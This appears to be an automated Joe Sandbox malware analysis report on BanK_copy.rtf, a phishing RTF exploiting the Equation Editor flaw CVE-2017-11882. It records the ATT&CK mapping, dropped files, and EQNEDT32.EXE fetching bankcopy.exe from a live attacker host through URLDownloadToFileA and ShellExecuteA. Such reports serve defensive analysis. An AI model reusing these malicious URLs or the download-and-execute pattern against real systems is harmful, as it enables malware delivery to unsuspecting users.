Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3584	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3824	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3960	Thread sleep time: -60000s >= -30000s	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	33 Exploitation for Client Execution	1 Scripting	1 Process Injection	1 Masquerading	OS Credential Dumping	1 Virtualization/Sandbox Evasion	Remote Services	1 Clipboard Data	5 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	1 Virtualization/Sandbox Evasion	LSASS Memory	1 Remote System Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Process Injection	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	13 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	3 System Information Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
BanK_copy.rtf	79%	ReversingLabs	Document-Office.Exploit.CVE-2017-11882
BanK_copy.rtf	74%	Virustotal		Browse
BanK_copy.rtf	100%	Avira	EXP/CVE-2017-11882.Gen

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{A1F2D2BC-C867-4B5A-A45B-736D7F49579E}.tmp	100%	Avira	EXP/CVE-2017-11882.Gen

Source	Detection	Scanner	Label
http://244-3-drvu.4everland.app/bankcopy.exe	0%	Avira URL Cloud	safe
http://244-3-drvu.4everland.app/bankcopy.exeal	0%	Avira URL Cloud	safe
http://244-3-drvu.4everland.app/Kw	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
244-3-drvu.4everland.app	188.114.96.6	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://244-3-drvu.4everland.app/bankcopy.exe	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://244-3-drvu.4everland.app/Kw	EQNEDT32.EXE, 00000002.00000002.353684656.000000000018A000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://244-3-drvu.4everland.app/bankcopy.exeal	EQNEDT32.EXE, 00000002.00000002.353713322.0000000000636000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.96.6	244-3-drvu.4everland.app	European Union		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1570546
Start date and time:	2024-12-07 09:36:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	BanK_copy.rtf
Detection:	MAL
Classification:	mal96.expl.winRTF@3/8@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 1 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .rtf Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, svchost.exe
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
03:36:53	API Interceptor	304x Sleep call for process: EQNEDT32.EXE modified

LLM Input / Output

Input	Output
URL: Screenshot id: 8 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 9 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 12 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 11 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 10 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 8 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 9 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 12 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 10 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 11 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.96.6	Purchase Order..exe	Get hash	malicious	FormBook	Browse	www.bser101pp.buzz/v89f/
	ibk0BQaWAo.exe	Get hash	malicious	Unknown	Browse	orbitdownloader.com/
	ibk0BQaWAo.exe	Get hash	malicious	Unknown	Browse	orbitdownloader.com/
	e6o7hKFmfC.exe	Get hash	malicious	FormBook	Browse	www.astrofrance.online/uem3/?BpE=hw9wdlgRPJgu6mhEw3v3abu2JdZhLnzfTKsoEzFZGCpKAu6wx+OREaAyoHMqAY/6AEPW&SH=IDKTKDM

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	BL-100410364195.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	INQUIRY REQUEST AND PRICES_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.67.177.134
	Bank Swift and SOA PRN00720031415453_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.67.152
	RFQ Order list #2667747.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.67.152
	Payment Details Ref#577767.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.67.177.134
	IBAN Payment confirmation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.67.177.134
	download.ps1	Get hash	malicious	Unknown	Browse	104.20.23.46
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Windows metafile
Category:	dropped
Size (bytes):	316
Entropy (8bit):	3.6967553326639724
Encrypted:	false
SSDEEP:	6:Mgt2oto90ogtQFP4ozgwc/GbVJGp+PmgEhSAl9us3qUUu4XC1ynuKb6wdxklct:M+eghObDGUOBwAl9NgXCYnhb6cs0
MD5:	95BB648D6EB9265EEAF0F889731B1E23
SHA1:	631D60A024835F4E53CEB9D0A987CE52FE517DF4
SHA-256:	9639441A9D36E7E4FDA980961B75EEB334540B8CFBCEE71EB3CD857E0A838E0C
SHA-512:	184414EA68092124290049282147070A86172833359404EE26199A36083D720E291D55BB85E4AE1D02504CE841EFBC646760E7CC5AF4088A253AED7B2665C420
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	............................................................................`.....&....................... ...f.......&.....MathType.. .........................Times New Roman....._-.e............-.......2.`.......111.....&......................................"System..H...........H.......l.......-.................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{A1F2D2BC-C867-4B5A-A45B-736D7F49579E}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	2.4950292889081376
Encrypted:	false
SSDEEP:	96:+w6FH8zWyyQjO0Fo/XJQdptVaPvqCqozzzzIU+z5ChNhYUG9J6tB8b3/Q0z5pL5K:+RR/QjOt/XJ+tVTCq5+oH5sA
MD5:	276EC05104D9295CB6F8E2C260E7AE10
SHA1:	4EE05DFC0D152340E3EFC3FAADC5B1D8BE25BB4D
SHA-256:	7210CCA2CF183DE149242217E9FBB2B48320724FB270F5C4A05D63AA6FA60FF3
SHA-512:	3227245823FF2CEE125855A8DC9903432B3414E5622A33BB15708BC477AC598336A75EB96F3AC15CD391E3F7321D2A92B1163E5FD606E6D19F103A95C5C938E4
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Reputation:	low
Preview:	......................>.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................A........................................................................................................... ...!..."...#...$...%...&...'...(.......*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@.......B...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{9FBBBB44-95CC-4C6B-89F7-37B5823A8071}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	0.8204304331254519
Encrypted:	false
SSDEEP:	6:x2AWlYpcfdENgREqAWlgFq/OKzlllwvJHk7/64wwvJHk7/6Wi6mFc:x2Wpcfak5uF6ZivJHkTLvJHkTaNG
MD5:	72F54FC15D1C11DFB341FD572C06AAE7
SHA1:	AC070300C9C3DFDDEB79B57A0CC6EF2D0E703D6F
SHA-256:	97427E663E0390DC95513DACC5B92FCA4BEAC1654EAA73DF766D2F54D860F23D
SHA-512:	5AEA02F03DC925AA4B720BB28653852C9AC002DFE361F9E1ECA7D631EB5D9B82A72FE098E6173FCE6BEEF6EF4CAEB24010499275425D1677B59FD80A73F498AF
Malicious:	false
Reputation:	low
Preview:	e.q.u.a.t.i.o.n...3.=...D...D.d.....................\|............................................... .E.q.u.a.t.i.o.n...3.E.M.B.E.D.................................................................................................................................................................................................................................................................................................................................................................................................\...^...d...................................................................................................................................................................................................................................................................................................................................................................................................................................j....OJ%.QJ%.U..^J%.mH..sH....j....OJ%.QJ%.U..^J%.mH..sH

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{DF7E4703-A2BF-4F3E-9CD4-43E942A9A7E8}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.05390218305374581
Encrypted:	false
SSDEEP:	3:ol3lYdn:4Wn
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Reputation:	high, very likely benign file
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\BanK_copy.LNK

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 11 15:42:06 2023, mtime=Fri Aug 11 15:42:06 2023, atime=Sat Dec 7 07:36:52 2024, length=67903, window=hide
Category:	dropped
Size (bytes):	1009
Entropy (8bit):	4.565726511213751
Encrypted:	false
SSDEEP:	12:8te0tkPFRgXg/XAlCPCHaXeBhB/BGFX+WAuuoNftKicvb6QtDtZ3YilMMEpxRljD:8tevR/XTufbkeuuyreGODv3qo57u
MD5:	523799AE2F100951D98A3C9F0840CE8D
SHA1:	154F53E3B167757804963D91498CC13DA3987685
SHA-256:	6C21723C63D727A38CAFEEF32D0C611417BF2B8C05CCCE26B77D6FDE3B3F675F
SHA-512:	982173AEEBE6DEC9956E0238D9597016078E16681D7BB67FC777E6588F69234A9DD04EBE837CE28E5928A391605027854DB9EDE5E44EC2444006A37F2B400494
Malicious:	false
Preview:	L..................F.... .......r.......r....:2.H..?............................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Y.D..user.8......QK.X.Y.D...&=....U...............A.l.b.u.s.....z.1......WE...Desktop.d......QK.X.WE...._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....d.2.?....Y.D .BANK_C~1.RTF..H.......WD..WD.*.........................B.a.n.K._.c.o.p.y...r.t.f.......w...............-...8...[............?J......C:\Users\..#...................\\715575\Users.user\Desktop\BanK_copy.rtf.$.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.B.a.n.K._.c.o.p.y...r.t.f.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......715575..........D_....3N...W...9..W.e8...8.....[D_....3N...W...9..W.e8...8.

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Generic INItialization configuration [folders]
Category:	dropped
Size (bytes):	53
Entropy (8bit):	4.567358662028728
Encrypted:	false
SSDEEP:	3:HsEa4IrSm414IrSv:HlgeI
MD5:	A185D782725DB8E7AF1076AA90AE7A8E
SHA1:	DD8031FBF11EE9F832BC9EA918FDBFCB1FB10CF1
SHA-256:	6F1853B930B51C83A180FFAFCEED833B5A6B4A85A4381E305F18B2255485AC82
SHA-512:	E5E164E30B90641F6FFF5B7C74016F69AE6F6428A0E2BAD94D2773C4B6A876DE47EDF151EDF31A4FFD74366442BF8BAD958000830D7005601AAA297E06FB3DAF
Malicious:	false
Preview:	[misc]..BanK_copy.LNK=0..[folders]..BanK_copy.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.4797606462020307
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyHlqlzl0pbklMWjV4lc+/dllln:vdsCkWtWYlz21kF2JV/l
MD5:	2CF7D3B8DED3F1D5CE1AC92F3E51D4ED
SHA1:	95E13378EA9CACA068B2687F01E9EF13F56627C2
SHA-256:	60DF94CDE4FD9B4A73BB13775079D75CE954B75DED5A2878277FA64AD767CAB1
SHA-512:	2D5797FBBE44766D93A5DE3D92911358C70D8BE60D5DF542ECEDB77D1195DC1EEF85E4CA1445595BE81550335A20AB3F11B512385FE20F75B1E269D6AB048E0A
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

C:\Users\user\Desktop\~$nK_copy.rtf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.4797606462020307
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyHlqlzl0pbklMWjV4lc+/dllln:vdsCkWtWYlz21kF2JV/l
MD5:	2CF7D3B8DED3F1D5CE1AC92F3E51D4ED
SHA1:	95E13378EA9CACA068B2687F01E9EF13F56627C2
SHA-256:	60DF94CDE4FD9B4A73BB13775079D75CE954B75DED5A2878277FA64AD767CAB1
SHA-512:	2D5797FBBE44766D93A5DE3D92911358C70D8BE60D5DF542ECEDB77D1195DC1EEF85E4CA1445595BE81550335A20AB3F11B512385FE20F75B1E269D6AB048E0A
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

Static File Info

General

File type:	Rich Text Format data, version 1, ANSI, code page 1252, default language ID 1033
Entropy (8bit):	2.026212243842307
TrID:	Rich Text Format (5005/1) 55.56% Rich Text Format (4004/1) 44.44%
File name:	BanK_copy.rtf
File size:	67'903 bytes
MD5:	67bb3235560b2fc8f612dd0c856768a7
SHA1:	e96990df5d5af63517d1178ffd606c4f0cda18aa
SHA256:	aca1871a164d587b0dc8b05cc15ebdcbfd94b981ff7891615967a1409115544a
SHA512:	1fb9fee9038bad5aa03a3fc657a4dc39d1047148afc6ed96eb291fc05a40033dc82fb877dfd0824d128eec9ef96fb43c48014dde4b630083d4aced89c7e5ea53
SSDEEP:	192:Tu+MOxqg6kYkpt5JwYiXyMAoyO7ttFFFFhxPWg6mKIxRpBPmwK2aYR8+m8qPHljr:5gkptLPiXjAoyGV/Ilf/E4kSTN
TLSH:	BF63CD3D00CAC576DA5B8C0DAA4FBFA011F1F56A8BC9B1588B58DD3BCFA4D326796404
File Content Preview:	{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 calibri;}}.{\\generator riched20 6.3.9600}\viewkind4\uc1.\pard\sa200\sl276\slmult1\f0\fs22\lang9{\object\objemb\objupdate{\\objclass equation.3}\objw380\objh260{\*\objdata

File Icon


Icon Hash:	2764a3aaaeb7bdbf

Static RTF Info

Objects

Id	Start	Format ID	Format	Classname	Datasize	Filename	Sourcepath	Temppath	Exploit
0	000000FAh	2	embedded	Equation.3	21504				no

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 7, 2024 09:36:57.346580982 CET	49161	80	192.168.2.22	188.114.96.6
Dec 7, 2024 09:36:57.466492891 CET	80	49161	188.114.96.6	192.168.2.22
Dec 7, 2024 09:36:57.466670036 CET	49161	80	192.168.2.22	188.114.96.6
Dec 7, 2024 09:36:57.466779947 CET	49161	80	192.168.2.22	188.114.96.6
Dec 7, 2024 09:36:57.586453915 CET	80	49161	188.114.96.6	192.168.2.22
Dec 7, 2024 09:36:58.563559055 CET	80	49161	188.114.96.6	192.168.2.22
Dec 7, 2024 09:36:58.563580990 CET	80	49161	188.114.96.6	192.168.2.22
Dec 7, 2024 09:36:58.563632011 CET	49161	80	192.168.2.22	188.114.96.6
Dec 7, 2024 09:36:58.563942909 CET	49161	80	192.168.2.22	188.114.96.6
Dec 7, 2024 09:36:58.563956976 CET	49161	80	192.168.2.22	188.114.96.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 7, 2024 09:36:56.869641066 CET	54562	53	192.168.2.22	8.8.8.8
Dec 7, 2024 09:36:57.334136009 CET	53	54562	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 7, 2024 09:36:56.869641066 CET	192.168.2.22	8.8.8.8	0xe842	Standard query (0)	244-3-drvu.4everland.app	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 7, 2024 09:36:57.334136009 CET	8.8.8.8	192.168.2.22	0xe842	No error (0)	244-3-drvu.4everland.app		188.114.96.6	A (IP address)	IN (0x0001)	false
Dec 7, 2024 09:36:57.334136009 CET	8.8.8.8	192.168.2.22	0xe842	No error (0)	244-3-drvu.4everland.app		188.114.97.6	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

244-3-drvu.4everland.app

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49161	188.114.96.6	80	3564	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 09:36:57.466779947 CET	323	OUT	GET /bankcopy.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 244-3-drvu.4everland.app Connection: Keep-Alive
Dec 7, 2024 09:36:58.563559055 CET	1236	IN	HTTP/1.1 403 Forbidden Date: Sat, 07 Dec 2024 08:36:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RaPGDeo8F%2BJu46G1Mlfoysx2k0%2FMBKxYD%2BfV5qaMqte51eYchVIqgsWU2llfcHqNMlaSwc58lOUWnSAGpFD%2BxrVTDryiF0JRgAIV8DAF2vJ2rO6qbRDURUkjESh5U6nxJ4FwG%2Bvj3%2BEsYEY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8ee330e8febe4378-EWR Content-Encoding: gzip Data Raw: 37 31 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 a5 58 6b 6f e3 36 16 fd ee 5f 71 47 05 12 1b 08 25 db c9 64 5c 5b 16 90 ce a4 6d 80 29 9a 76 32 d8 2d 8a 41 40 89 57 12 37 14 a9 92 f4 6b b2 f9 ef 0b ea e1 c8 8f 64 5a 2c 12 20 e2 eb dc f7 b9 64 c2 37 1f 7e 7d 7f f7 c7 ed 35 e4 b6 10 51 2f 7c 43 c8 9f 3c 05 61 e1 e6 1a de 7d 89 20 74 0b 90 08 6a cc dc 93 8a fc c7 00 c7 4b 50 82 71 f4 40 50 99 cd 3d 94 e4 f3 27 2f 82 f0 cd 9f 28 19 4f bf 10 f2 0c d5 e0 00 1c 87 7a f7 cf a0 26 af 40 4d fe 01 54 66 1b 34 37 71 cc ca 43 14 42 76 91 72 a4 2c ea 85 96 5b 81 d1 a7 85 29 31 b1 c8 a0 cc b9 c9 b9 cc c0 70 8b f0 5f 78 2f d4 82 a5 82 6a 0c 83 7a 6f 2f 2c d0 52 48 72 aa 0d da b9 f7 f9 ee 47 32 f1 20 68 17 72 6b 4b 82 7f 2d f8 72 ee bd 57 d2 a2 b4 e4 6e 53 a2 07 49 3d 9a 7b 16 d7 36 70 3a cf b6 30 af a1 fc 9b 7c be 22 ef 55 51 52 cb 63 d1 05 ba b9 9e 5f b3 0c 3b e7 24 2d 70 ee 69 15 2b 6b 3a 1b a5 e2 92 e1 fa 0c a4 4a 95 10 6a 75 70 64 c9 71 55 2a 6d 3b 87 56 9c d9 7c ce 70 c9 13 24 d5 e0 8c 4b 6e 39 15 c4 24 54 e0 7c [TRUNCATED] Data Ascii: 71cXko6_qG%d\[m)v2-A@W7kdZ, d7~}5Q/\|C<a} tjKPq@P='/(Oz&@MTf47qCBvr,[)1p_x/jzo/,RHrG2 hrkK-rWnSI={6p:0\|"UQRc_;$-pi+k:JjupdqUm;V\|p$Kn9$T\|T.@{nzKz$xkL^0IR>jM~%zYN7plfD1<Tg\N2e6>5Pu~a$6o$]ZD{V\2)cK#7%_i2X$K0Ek{`nO]>ts8JN}OS/Z!&diYZi5I
Dec 7, 2024 09:36:58.563580990 CET	1220	IN	Data Raw: 6b 95 a0 fd 20 55 80 dc b0 d1 b8 1a 37 99 d4 b1 c1 03 46 2d 25 56 53 69 04 b5 e8 ca dc 39 f6 be de 64 bc e8 56 20 35 08 f5 74 63 a9 f1 c3 80 f1 65 47 8f 46 c3 4a 0a 61 68 29 17 ae 66 b6 da ed 2c ec 19 72 60 8a c1 3a 3e 1d 93 a1 f2 ec dc ab b3 89 Data Ascii: k U7F-%VSi9dV 5tceGFJah)f,r`:>XUNa4Y3+kU1Ws[DE!(M/lO((IpZPg1<[b<dZ-$#)&z# GZEv]a#,sj"\pua0>Z,@(A

Target ID:	0
Start time:	03:36:52
Start date:	07/12/2024
Path:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Imagebase:	0x13fab0000
File size:	1'423'704 bytes
MD5 hash:	9EE74859D22DAE61F1750B3A1BACB6F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:36:53
Start date:	07/12/2024
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543'304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:37:16
Start date:	07/12/2024
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543'304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	100%
Total number of Nodes:	5
Total number of Limit Nodes:	0

Executed Functions

Function 00633494 Relevance: 42.3, APIs: 2, Strings: 22, Instructions: 284
filenativenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

URLDownloadToFileA.URLMON(00000000,http://,00000000,00000000,00000000), ref: 0063386B
NtTerminateProcess.NTDLL(000000FF,00000001), ref: 006338A6

Strings

l, xrefs: 006334FB
o, xrefs: 00633574
U, xrefs: 00633560
2, xrefs: 00633609
r, xrefs: 006335EE
ll, xrefs: 0063353D
URLDownloadToFileAntTerminateProcessShellExecuteAGetTempPathA, xrefs: 0063375D, 00633760
d, xrefs: 00633502
http://, xrefs: 00633800, 00633807
l, xrefs: 006335B1
l, xrefs: 006335FF
oadD, xrefs: 00633536
GetTempPathA, xrefs: 00633725, 00633728
l, xrefs: 00633509
LdrL, xrefs: 0063352F
ShellExecuteAGetTempPathA, xrefs: 0063373F, 00633742
d, xrefs: 006334F4
3, xrefs: 006335BB
S, xrefs: 006335A7
